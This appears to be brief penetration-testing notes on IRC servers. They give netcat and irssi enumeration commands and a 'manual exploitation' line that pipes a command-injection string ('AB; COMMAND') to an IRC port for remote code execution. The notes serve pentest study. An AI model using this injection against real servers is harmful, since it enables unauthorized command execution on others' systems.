Internet Relay Chat (IRC) Penetration Testing

Enumeration:

1) Netcat banner grabbing

nc -vn TARGET_IP PORT

2) IRC Client (irssi)

irssi -c TARGET_IP --port PORT

TIP: Depending on the IRC server version used, we may find exploits for RCE

1) Manual Exploitation

echo 'AB; COMMAND' | nc TARGET_IP IRC_PORT (Example)